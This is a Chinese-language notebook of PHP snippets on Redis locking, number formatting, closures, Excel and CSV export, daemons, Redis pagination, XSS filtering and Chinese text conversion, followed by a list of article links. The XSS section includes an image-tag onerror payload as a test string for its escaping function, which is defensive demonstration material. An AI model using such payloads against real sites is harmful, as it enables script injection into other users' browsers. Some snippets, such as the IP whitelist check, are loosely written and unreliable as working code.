$this->uniqueId = $uniqueId;
if ($this->redis->exists(self::PID_KEY)) {
$pid = $this->redis->get(self::PID_KEY);
log_warning('ERP_IMPORT_ASYNC_INFO', "UniqueId {$pid} Still RUNNING");
exit(0);
}
$ret = $this->redis->set(self::PID_KEY, $uniqueId, array('nx'));
if (false === $ret) {
log_warning('ERP_IMPORT_ASYNC_INFO', "Set PID FAILED, WILL RETRY, Current PID " . $uniqueId);
exit(0);
}
$this->redis->expire(self::PID_KEY, 360);
for ($i = 0; $i < 1000; $i++) {
// bla bla
}
$this->redis->del(self::PID_KEY);
}

每三位加个逗号分割

1
2
3
4
5
6
7
8
9
10
$input = "12345678";

$regex = "#^(?<first>([0-9]{1,3})??)(?<others>([0-9]{3})*)$#";

$callback = function($match) {
$arr = str_split($match["others"], 3);
return empty($match["first"]) ? (implode(",", $arr)) : ("" . $match["first"] . "," . implode(",", $arr));
};

$output = preg_replace_callback($regex, $callback, $input);//12,345,678

Fibonacci数列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$fib = function($n)use(&$fib)
{
if($n == 0 || $n == 1) return 1;
return $fib($n - 1) + $fib($n - 2);
};

echo $fib(10);
php的匿名函数中,如果use一个基本数据类型(非对象)的时候,传递的是当时此数据的快照;而use一个对象的时候,与函数参数中传递该对象相同,都是引用
https://blog.jiaojie.site/_posts/2017/07/25/the-word-use-in-php-closure/
$aaa = 111;
$func = function() use($aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "111"

$aaa = 111;
$func = function() use(&$aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "222"

class Foo
{

public $foo = 'default';

}

$foo = new Foo;

$func = function() use ($foo) {
echo $foo->foo . "\n";
};

$foo->foo = 'changable';
$func();// 输出 "changable"

验证日期非HTML字符

1
2
3
4
date('Y-m-d',strtotime('2019-09-09'))=='2019-09-09'
if ($content == strip_tags($content)){//没有HTML标签
return true;
}

ip限制

1
2
3
4
5
6
7
8
9
10
11
12
function ipLimit(){
$meip = ip2long($_SERVER['REMOTE_ADDR']);
$ip_lib= array('10.0.0.0-10.255.255.255');
for($i=0;$i<count($ip_lib);$i++){
list($sip,$eip) = explode('-',$ip_lib[$i]);
$sip = ip2long(trim($sip));
$eip = ip2long(trim($eip));
if($meip <= $sip || $meip >= $eip){
header("Location:http://sina.com.cn/");
}
}
}

PHP 导出 Excel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/**\
* 导出Excel文件 速度慢
* @param $fileName 导出的文件名
* @param $headArr 数据头
* @param $data 导出数据
*/
function getExcel($fileName,$headArr,$data){
//设置PHP最大单线程的独立内存使用量
ini_set('memory_limit','1024M');
//程序超时设置设为不限时
ini_set('max_execution_time ','0');

//导入PHPExcel类库,因为PHPExcel没有用命名空间,所以使用vendor导入
vendor("PHPExcel.PHPExcel.IOFactory");
vendor("Excel.PHPExcel");
vendor("Excel.PHPExcel.Writer.Excel5");
vendor("Excel.PHPExcel.IOFactory.php");

//对数据进行检验
if(empty($data) || !is_array($data)){
die("data must be a array");
}
//检查文件名
if(empty($fileName)){
exit;
}
$date = date("Y_m_d",time());
$fileName .= "_{$date}.xls";
//创建PHPExcel对象
$objPHPExcel = new \PHPExcel();

//设置表头
$key = ord("A");
foreach($headArr as $hkey => $v){
$colum = chr($key);
$objPHPExcel->setActiveSheetIndex(0) ->setCellValue($colum.'1', $v);
$key += 1;
unset($headArr[$hkey]);
}
$column = 2;
$objActSheet = $objPHPExcel->getActiveSheet();
foreach($data as $key => $rows){ //行写入
$span = ord("A");
foreach($rows as $keyName=>$value){// 列写入
$j = chr($span);
//设置导出单元格格式为文本,避免身份证号的数据被Excel改写
$objActSheet->setCellValueExplicit($j.$column, $value);
$span++;
unset($rows[$keyName]);
}
$column++;
unset($data[$key]);
}
$fileName = iconv("utf-8", "gb2312", $fileName);
//重命名表
// $objPHPExcel->getActiveSheet()->setTitle('test');
//设置活动单指数到第一个表,所以Excel打开这是第一个表
$objPHPExcel->setActiveSheetIndex(0);
ob_end_clean();
ob_start();
header('Content-Type: application/vnd.ms-excel');//定义输出的文件类型为excel文件
header("Content-Disposition: attachment;filename=\"$fileName\"");//定义输出的文件名
header('Cache-Control: max-age=0');//强制每次请求直接发送给源服务器,而不经过本地缓存版本的校验。
$objWriter = \PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');
$objWriter->save('php://output'); //文件通过浏览器下载
exit;

}
表数据限制:

Excel 2003 及以下的版本。一张表最大支持 65536 行数据,256 列。

Excel 2007-2010 版本。一张表最大支持 1048576 行,16384 列。
/**
* 导出CSV数据处理
* 待优化项:如果导出数据达到百万以上,需要做分批导出CSV文件再添加到压缩文件统一打包下载
* @desc 数据导出到csv(csv文件)
* @param string $filename 文件名称
* @param array $tileArray 所有列名称
* @param array $dataArray 所有列数据
*/
function exportToCsv($filename, $tileArray=array(), $dataArray=array()){
//设置PHP最大单线程的独立内存使用量
ini_set('memory_limit','1024M');
//程序超时设置设为不限时
ini_set('max_execution_time ','0');
ob_end_clean();
ob_start();
header("Content-Type: text/csv");
$filename .= date("Y-m-d").".csv";
header("Content-Disposition:filename=".$filename);
$fp=fopen('php://output','w');
fwrite($fp, chr(0xEF).chr(0xBB).chr(0xBF));//转码 防止乱码
fputcsv($fp,$tileArray);
$index = 0;
foreach ($dataArray as $item) {
if($index==1000){
$index=0;
ob_flush();
flush();
}
$index++;
fputcsv($fp,$item);
}

ob_flush();
flush();
ob_end_clean();
}

public function exportexcel(){
$sqlWhere = session('H5OPERATIONLOG_TIME_WHERE');
$data = M(self::T_TABLE)->where('create_time'.$sqlWhere)->select();
foreach ($data as $key => $row) {
$data[$key]['create_time'] = $row['create_time']."\t";//加"\t"形成文本格式,原样输出
}
$filename="XXXXX";//导出文件名
$headArr=array("XXX","XXX1","XXX2");//数据头
exportToCsv($filename,$headArr,$data);
}

<td><a href="你的exportexcel访问路径"><input type="button" value="导出Excel"></input></a></td>
当您打开一个文本文件、 CSV 文件和文件的前两个字符是大写字母 "I""D" 时,会发生此问题。https://learnku.com/articles/32164

使用双向链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class MyList
{
/** @var Node $head */
public $head;

/** @var Node $tail */
public $tail;

public function __construct()
{
$this->head = null;
$this->tail = null;
}

public function remove($data)
{
...

$prev = $this->head;
$cur = $prev->next;
while (!empty($prev) && !empty($cur)) {
if ($cur->data == $data) {
$this->removeHelper($prev, $cur);
break;
}

$prev = $prev->next;
$cur = $cur->next;
}
}

private function removeHelper($prev, $cur)
{
if ($cur == $this->tail) {
$this->tail = $prev;
}
$prev->next = $cur->next;
}

public function append($data)
{
$n = new Node($data);
...
}
}
https://learnku.com/articles/32281

守护进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
fork 子进程
父进程退出
设置新的会话
重置文件掩码
关闭标准输入输出
function daemon() {

$pid = pcntl_fork();
// fork 失败
if ($pid < 0) {
exit('fork failed');
} else if ($pid > 0) {
// 退出父进程
exit(0);
}

// 设置新的会员
// setsid 有几个注意点
// 不能是进程组的组长调用
// 对于进程组组员调用会产生新的会话和进程组,并成为该进程组的唯一成员,调用的进程将脱离终端
if (posix_setsid() < 0) {// 获取进程ID

exit('set sid failed');
}
// 重置文件掩码
umask(0);
// 切换工作目录
chdir('/');
// 关闭标准输入输出
fclose(STDIN);
fclose(STDOUT);
fclose(STDERR);

}

global $stdin, $stdout, $stderr;
$stdin = fopen('/dev/null', 'r');
$stdout = fopen('/www/php/txt.txt','wb');
$stderr = fopen('/dev/null', 'wb');
https://learnku.com/articles/32320

如何获得每个父母的 N 个相关模型

1
https://softonsofa.com/tweaking-eloquent-relations-how-to-get-n-related-models-per-parent/

防止 XSS 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签
class XSSFilter
{
public function handle($request, Closure $next)
{
// 配置不执行过滤转换参数项,如 env 配置: XSS_EXCEPT=article_contents,html_contents
$param_except_string = config('const.xss_filter_param_except');
$param_except = [];
if (!empty($param_except_string)) {
$param_except = explode(',', $param_except_string);
}
$input = $request->except($param_except);
array_walk_recursive($input, function (&$input) {
// $input = strip_tags($input); // 清除标签内容
$input = htmlspecialchars($input, ENT_NOQUOTES, 'UTF-8', false); // 过滤转换预定符号
});
$request->merge($input);
return $next($request);
}
}
function p($value) {
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', false);
}
$nickname = "<img src='x' onerror='alert(0)' />测试昵称";
echo p($nickname);
修改 php.ini 配置开启 httpOnly: Session.cookie_httponly = On
开启 httpOnly 后,禁止 JavaScript 脚本直接读取该 Cookie 内容
cookie($name = null, $value = null, $minutes = 0, $path = null, $domain = null, $secure = false, $httpOnly = true)
https://learnku.com/articles/32529

PHP 使用 Redis 实现分页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
namespace app\Constants\Nomal;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Redis;
class RedisList{
// 添加一条数据到redis中
public function zAdd($key,array $value){
return Redis::zadd($key,$value);
}
// 从Redis返回一条数据
public function zRange($key,$start,$end,$withScores){
return Redis::zRange($key,$start,$end,$withScores);
}
// Redis 返回一条数据从大小返回数据
public function zrevRange ($key,$start,$end,$withScores){
return Redis::ZREVRANGE($key,$start,$end,$withScores);
}
// Redis 返回某个数据 按分数正序排序 //ZRANGEBYSCORE
public function zRangByScore($key,$start,$end,$withScores){
return Redis::ZRANGEBYSCORE($key,$start,$end,$withScores);
}
// Redis 返回数据按分数倒叙排序 // ZREVRANGEBYSCORE
public function zRevRangBySore($key,$start,$end,$withScores){
return Redis::ZREVRANGEBYSCORE($key,$start,$end,$withScores);
}

// 删除某个成员的值
public function zRem($key,$member){
return Redis::zRem($key,$member);
}
// 返回zset集合中所有元素的个数
public function zSize($key){

return Redis::zcard($key);
}
// 返回比元素$member分数大的元素的个数
public function zRevRank($key,$member){

return Redis::zRevRank($key,$member);
}
// 如果在名称为key的zset中已经存在元素member,则该元素的score增加increment;否则向集合中添加该元素,其score的值为increment
public function zIncrBy($key,$increment,$member){

return Redis::zIncrBy($key,$increment,$member);
}
// 求有序集合的并集
public function zUnion($output,$zsetkey){

return Redis::zUnion($output,$zsetkey);
}
//求有序集合的交集
public function zInter($output,$zsetkey){

return Redis::zInter($output,$zsetkey);
}
// redis 分页处理
public function limitAndPage($pageIndex,$pageNum){
return array('pageIndex'=>$pageIndex-1,'pageNumber'=>$pageIndex*$pageNum-1);
}
// redis 队列操作 入队列
public function lPush($key,$value){
return Redis::LPUSH($key,$value);
}
// redis 根据索引取数据
public function lIndex($key,$position){
return Redis::lIndex($key,$position);
}
// redis list维护一个长度为100000的队列
public function lTrim($key,$start=0,$stop=100000){
return Redis::lTrim($key,$start,$stop);
}
// 设置key的过期时间 现在设置的是一个月的时间 做二级缓存使用
public function expire($key,$timesec =0){
if($timesec == 0){
$expire_time = 0<$timesec? $timesec: strtotime(date('Y-m-d')) + 2592000 - time();
}else{
$expire_time = $timesec;
}
return Redis::expire($key,$expire_time);
}
// 设置zset的长度
public function SetZsetTime($key,$data,$lenth =4){
if($this->zSize($key)>$lenth){
Redis::zremrangebyrank($key,0,count($data)-1);
}
}
public function getListInfoByCondition($key,$start,$end,array $limit,$sort = 'asc'){
if($sort == 'desc'){
$pageNum = $limit['limit'][0]*$limit['limit'][1];
$limit['limit'][0] = $this->zSize($key)-$pageNum;
// 本方法只使用于app分页 上一页 下一页 不支持跳页查询
}
return $sort == 'desc'?array_reverse($this->zRangByScore($key,$start,$end,$limit)):$this->zRangByScore($key,$start,$end,$limit);
}
// 添加一条数据
public function addOneInfo($key,array $data){
if(Redis::exists($key)){
if(count($data)>4){
return false;
}
$ret = $this->zAdd($key,$data);
$this->SetZsetTime($key,$data);
return $ret;
}else{
$this->expire($key,60);
return $this->zAdd($key,$data);
}
}
// 更新一条数据
public function updateOneById($key,$id,$data){
$this->deleteOneById($key,$id);
return $this->zAdd($key,$data);
}
// 删除一条数据
public function deleteOneById($key,$id){
return Redis::zremrangebyscore($key,$id,$id);
}
// 获取一条数据
public function getOneInfoById($key,$id){
return $this->zRangByScore($key,$id,$id,array('withScores'=>''));
}
}https://learnku.com/articles/32548

繁体简体互转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://github.com/BYVoid/OpenCC
composer require sleep-cat/opencc-php
use SleepCat\OpenCC\Command;
use SleepCat\OpenCC\OpenCC;
$command = new Command('/usr/bin/opencc','/usr/share/opencc');
$opencc = new OpenCC($command);
// laravel应用可用外观
$result = OpenCC::transform('天氣乍涼人寂寞,光陰須得酒消磨。且來花裏聽笙歌。','t2s.json')

// 其他应用使用实例
$result = $opencc->transform('天氣乍涼人寂寞,光陰須得酒消磨。且來花裏聽笙歌。','t2s.json');

print_r($result);
// 天气乍凉人寂寞,光阴须得酒消磨。且来花里听笙歌。
https://learnku.com/articles/32497

接入 paypal PHP-sdk 支付 / 回调 / 退款全流程

PHP 三年模拟五年面试

phpredis 扩展redis使用

数据库主键 ID 生成策略

PHP 生成迷宫路线

JavaScript 混淆表达式https://jscrew.it/

PHP 生成迷宫路线

PHP 手册入门视频教程

phpstorm 下安装 Laravel-ide-helper

个人收款支付接口

数据结构复杂图形存储 PHP 版

第十届全国大学生信息安全竞赛Web WriteUp

解决微博图床防盗链的问题

Jenkins 自动化发布 PHP 项目

SQL注入备忘手册

PHP 面试详解之技术篇

PHP安全

将汉字转化为拼音

pack、unpack自制二进制“数据库”

小程序模板消息

Workerman 作为 Laravel 队列进程守护

Laravel-Horizon【队列监控】

PHP 拼接微信好友头像https://github.com/moxun33/imageMergerUtil/blob/master/MergeImage.class.php

PHP 优秀资源库整理

PHP 问答系统

Laravel 中使用 极光推送jpush composer包

PHP常用函数整理

笔记分享 | 简书2GitHub

PHP 中文简易分词

PHP the right way

用PHP玩转进程之二 — 多进程PHPServer

后端来配置 Vue Router 的方案

爬虫工具

我用php爬虫一天时间“偷了”知乎一百万用户

ngrok 实现内网穿透ittun.com/